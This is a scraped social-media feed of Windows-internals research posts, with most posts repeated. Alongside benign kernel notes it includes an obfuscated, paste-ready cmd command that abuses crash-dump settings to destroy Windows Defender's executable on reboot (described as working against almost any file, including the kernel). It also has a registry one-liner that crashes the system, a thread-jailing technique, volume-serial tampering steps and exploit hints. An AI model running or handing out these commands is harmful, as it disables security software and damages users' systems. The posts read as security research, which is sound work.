sixtyvividtails
@sixtyvividtails.bsky.social
probably not a mimic
Error you may randomly get anytime you delete stuff: błąd 0x80070050.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).
Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).
Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
August 30, 2025 at 9:00 PM
Error you may randomly get anytime you delete stuff: błąd 0x80070050.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).
Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).
Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
What is Volume Serial Number (aka VolId/VolumeId)?
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".
But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".
But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
![Algo for computing volume serial and various other info.
Note if 7 minutes is enough for you 😼, you can preimage the hash instantly (2-6 close values).
Edit your serial via NtWriteFile("C:",buf,0x200), or via Sysinternals VolumeId.exe.
But then we can detect tampered serials! Only 0x7F80094B values are "genuine" (out of the full 2⁶⁴ space).
uint compute_volume_serial32(uint srcId = 0)
{
uint id = srcId;
while (!id || id == 0xFFFFFF80)
{
uint64 time64 = KUSER_SHARED_DATA.SystemTime;
id = (uint)time64;
if (!id)
id = (uint)(time64 >> 0x20);
}
for (uint i = 0; i < 4; ++i)
id = rotr(id + (uchar)(id >> (8 * i)), 2);
return id;
}
uint64 compute_volume_serial64()
{
uint dword0 = compute_volume_serial32(0); // 0x7F80094B values
uint dword1 = compute_volume_serial32(dword0); // 0x3FC12F4F values
return ((uint64)dword1 << 0x20) | dword0;
}
Set new serial: NtWriteFile(`\??\C:`). No slash.
You may need to write entire sector.
Get 32-bit serial: dir C:
Get 64-bit serial: fsutil fsinfo ntfsinfo C:
Get 64-bit serial w/o admin rights:
$b=[int64[]](0,0,0);`
$f='NtQueryInformationFile';`
(Add-Type -m "[DllImport(`"ntdll`")]public static extern int $f(IntPtr h,int[]s,long[]b,int L,int C);"x -pas)::`
$f([IO.FileStream]::new("$env:windir\win.ini",'Open','Read').Handle,(0,0,0),$b,24,59);`
'{0:X016}'-f $b[0]](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:jxtkgvs5pvvanhchjvldmtvi/bafkreifo6qm7jcfiq7srnbbtlvhpzdjk4t3g5gjmsy3zh7vtzy37pxlbru@jpeg)
August 23, 2025 at 10:46 PM
What is Volume Serial Number (aka VolId/VolumeId)?
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".
But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".
But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
Finally, a script to estimate IQ of your PC!
Copypaste it into powershell console, get instant result!
$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)
Is your PC smart?
Can you deduce what is that metric?
Copypaste it into powershell console, get instant result!
$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)
Is your PC smart?
Can you deduce what is that metric?
August 1, 2025 at 3:57 PM
Finally, a script to estimate IQ of your PC!
Copypaste it into powershell console, get instant result!
$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)
Is your PC smart?
Can you deduce what is that metric?
Copypaste it into powershell console, get instant result!
$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)
Is your PC smart?
Can you deduce what is that metric?
Windows can seamlessly patch your code when it catches #GP. So called "alignment fixup".
KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.
Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.
Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
June 23, 2025 at 11:05 PM
Windows can seamlessly patch your code when it catches #GP. So called "alignment fixup".
KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.
Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.
Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
…or #bsod instead:
cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
June 16, 2025 at 4:10 PM
…or #bsod instead:
cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
Did you know Windows has built-in RAM disk?
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!
That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!
That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
June 15, 2025 at 12:23 PM
Did you know Windows has built-in RAM disk?
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!
That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!
That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
There are lots of misoptimisations in the OS kernel with /dynamicValueFixupSym.
E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.
Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.
Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
![dumpbin.exe /loadConfig ntosknrl.exe
File Type: EXECUTABLE IMAGE
Section contains the following load config:
00000140 size
...
// +78/C0, not used anymore
0 DynamicValueRelocTable
...
// +88/E0; offset in section, normally right after the regular relocs
00005C8C DynamicValueRelocTableOffset
// +8C/E4; 1-based section index, normally it's .relocs
0024 DynamicValueRelocTableSection
...
Symbol VA: FFFFDE0000000000
Fixup RVAs:
[00000000] = page 00201000 rva 00201B94 type 0
[00000001] = page 00204000 rva 0020430D type 0
...
ntoskrnl.exe 24H2 has 9 dynamic value fixups:
0xFFFFDE0000000000 MM_PFN_DATABASE, 1264 refs
0xFFFFF68000000000 PTE_BASE, 1011 refs
0xFFFFF6FB40000000 PDE_BASE, 64
0xFFFFF6FB7DA00000 PPE_BASE, 6
0xFFFFF6FB7DBED000 PXE_BASE, 192
0xFFFFF6FB7DBEDF68 PXE_SELFMAP, 85
0xFFFFF6FFFFFFFFFF PTE_TOP, 129
0xFFFFF6FB7FFFFFFF PDE_TOP, 10
0xFFFFF6FB7DBEDFFF PXE_TOP, 48
SecureKernel.exe 24H2 has 13 dynamic value fixups:
0xFFFFE80000000000 SKMM_PFN_DATABASE, 142 refs
0xFFFFEFFFFFFFFFFF SKMM_PFN_DATABASE_END, 117
0xFFFFF60000000000 SKMM_NTE_BASE, 93
0xFFFFF67FFFFFFFFF SKMM_NTE_TOP, 41
0xFFFFF68000000000 SKMM_PTE_BASE, 372
0xFFFFF6FB40000000 SKMM_PDE_BASE, 6
0xFFFFF6FB7DA00000 SKMM_PPE_BASE, 2
0xFFFFF6FB7DBED000 SKMM_PXE_BASE, 712
0xFFFFF6FB7DBEDF68 SKMM_PXE_SELFMAP, 10
0xFFFFF6FB7FFFFFFF SKMM_PDE_TOP, 1
0xFFFFF6FFFFFFFFFF SKMM_PTE_TOP, 55
0xFFFFF78000000000 KI_USER_SHARED_DATA, 150 (writeable)
0x000000007FFE0000 0x7FFE0000 KI_USER_SHARED_DATA_R3, 2 (readable)](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:jxtkgvs5pvvanhchjvldmtvi/bafkreifydde5ocoxydtvur2yjxir6zr2lr5annr6dh56mjbb7gfav6u3w4@jpeg)
June 1, 2025 at 6:15 PM
There are lots of misoptimisations in the OS kernel with /dynamicValueFixupSym.
E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.
Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.
Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
Heard of #ContextJail?
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.
The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.
Src & binary in [ALT].
Usecases: ⤵️
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.
The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.
Src & binary in [ALT].
Usecases: ⤵️
May 6, 2025 at 10:06 PM
Heard of #ContextJail?
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.
The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.
Src & binary in [ALT].
Usecases: ⤵️
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.
The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.
Src & binary in [ALT].
Usecases: ⤵️
Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.
So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!
That's just how winload.efi randomizes MmArchKsegBias.
#KASLR #0xFFFFFF8000000000
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.
So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!
That's just how winload.efi randomizes MmArchKsegBias.
#KASLR #0xFFFFFF8000000000
![Part1:
Decompilation of winload!MmArchInitialize, where MmArchKsegBias is selected as random value in the range [0; 0x77FFFF000]. So, from 0 to 30 GB (0x1E GB).
That value is used to bias MmArchKsegBase, which gets put into MmArchKsegAddressRange.Minimum. And that var is utilized for virtual address allocations, including VAs for images like ntoskrnl.exe.
Part2:
Part of nt!MiAssignTopLevelRanges decompile. There we can observe BaseVa for AssignedRegionSystemImages VA region type gets assigned as current imagebase of the ntoskrnl, aligned down by 512_GB. Since BaseVa is explicitly assigned, function will skip call to MiAssignSystemVa() for that region type.
So despite randomization of relative starts of most of the 0x12 regions in win11 24H2, we can assume that they all aligned by 512_GB (or 256_TB for LA57), and "AssignedRegionSystemImages" region type always starts at 0xFFFF_FF80_0000_0000.
And we can also assume ntoskrnl always starts in the first ~30.5_GB of that region.](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:jxtkgvs5pvvanhchjvldmtvi/bafkreigkibtocovxghwzn4h4wlwhzaduljdb4m6rfi62wrjis4warlfsue@jpeg)
April 16, 2025 at 12:53 AM
Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.
So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!
That's just how winload.efi randomizes MmArchKsegBias.
#KASLR #0xFFFFFF8000000000
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.
So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!
That's just how winload.efi randomizes MmArchKsegBias.
#KASLR #0xFFFFFF8000000000
Is your EDR a dump?
With crashdmp it literally is:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"
With crashdmp it literally is:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"
![Upon boot crashdmp.sys has clobbered MsMpEng.exe, destroying & resizing it to 666 MB.
It also still holds the file handle, with NONE share access.
▸ No system crash needed, only reboot.
▸ In fact, with SystemCrashDumpStateInformation/SystemCrashDumpReconfigure, you don't even need reboot; so you can overwrite/delete as many files as needed. Thanks imag0r for that discovery & POC: https://github.com/imag0r/Sweeper3D
▸ Defender is just an example; today it should work against almost anything.
▸ Targetting ntoskrnl.exe or ntfs.sys makes current boot session the last one (works fine till reboot).
▸ Targetting securekernel or hvix/hvax effectively disables IUM or Hyper-V.
▸ This trick might still fail against some in-use files, with IoCreateFile returning STATUS_SHARING_VIOLATION.
▸ Command is designed to be pasted into Win+R [Ctrl+Shift+Enter], or into an elevated cmd.exe.
▸ Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.
⚠️ Administrative access required. LPE exploit not included, and sold separately where legally available. Consult your local security specialist before use. Side effects may include boot failures and audit logs. Void where prohibited.
📋 crashdmp.sys IoCreateFile call:
▸ access: 0x150003, read|write|delete|write_dac|sync
▸ file share flags: 0, file_share_none
▸ file attributes: 6, hidden|system
▸ create disposition: 0, file_supersede (create/replace)
▸ io options: 0x0102, io_open_paging_file|io_no_parameter_checking
▸ create options: 0x900A, write_through|no_intermediate_buffering|delete_on_close|no_compression
💻 Simplified command sequence example:
set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v
%R% CrashDumpEnabled /d 7 /t REG_DWORD
%R% DumpFileSize /d 666 /t REG_DWORD
%R% DedicatedDumpFile /d "%windir%\system32\securekernel.exe"
Bonus:
🕵️ Spot at least one of reg.exe tricks I've used in the main post; call it out in the reply to get a cat emoji!](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:jxtkgvs5pvvanhchjvldmtvi/bafkreidtwveiosc4mzsmqnkq6ucwszpl33qsj3lgan7cz7tygbd2k3mfhq@jpeg)
February 12, 2025 at 12:41 AM
Is your EDR a dump?
With crashdmp it literally is:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"
With crashdmp it literally is:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"
24H2 has reduced KiCyclesPerClockQuantum by a factor of 6 - from ~(15.625/3) ms to ~(15.625/18) ms.
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.
But WTF: clock interrupts every 2 ms across *each* CPU!
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.
But WTF: clock interrupts every 2 ms across *each* CPU!
February 3, 2025 at 7:18 AM
24H2 has reduced KiCyclesPerClockQuantum by a factor of 6 - from ~(15.625/3) ms to ~(15.625/18) ms.
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.
But WTF: clock interrupts every 2 ms across *each* CPU!
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.
But WTF: clock interrupts every 2 ms across *each* CPU!
Top research!
As for "no one can exec POC six times", lookasides EZ find: map ksecdd, scan for 2 close FF15 w/ same rip-rel offset => to "..ExDeleteLookasideListEx"; use offset from "lea".
Alt: grow depth 4 => 0x100 via NNN LA allocs w/ other ioctl (39006A?) [nt!ExpScanGeneralLookasideList N*3s].
As for "no one can exec POC six times", lookasides EZ find: map ksecdd, scan for 2 close FF15 w/ same rip-rel offset => to "..ExDeleteLookasideListEx"; use offset from "lea".
Alt: grow depth 4 => 0x100 via NNN LA allocs w/ other ioctl (39006A?) [nt!ExpScanGeneralLookasideList N*3s].
November 12, 2024 at 8:51 PM
Top research!
As for "no one can exec POC six times", lookasides EZ find: map ksecdd, scan for 2 close FF15 w/ same rip-rel offset => to "..ExDeleteLookasideListEx"; use offset from "lea".
Alt: grow depth 4 => 0x100 via NNN LA allocs w/ other ioctl (39006A?) [nt!ExpScanGeneralLookasideList N*3s].
As for "no one can exec POC six times", lookasides EZ find: map ksecdd, scan for 2 close FF15 w/ same rip-rel offset => to "..ExDeleteLookasideListEx"; use offset from "lea".
Alt: grow depth 4 => 0x100 via NNN LA allocs w/ other ioctl (39006A?) [nt!ExpScanGeneralLookasideList N*3s].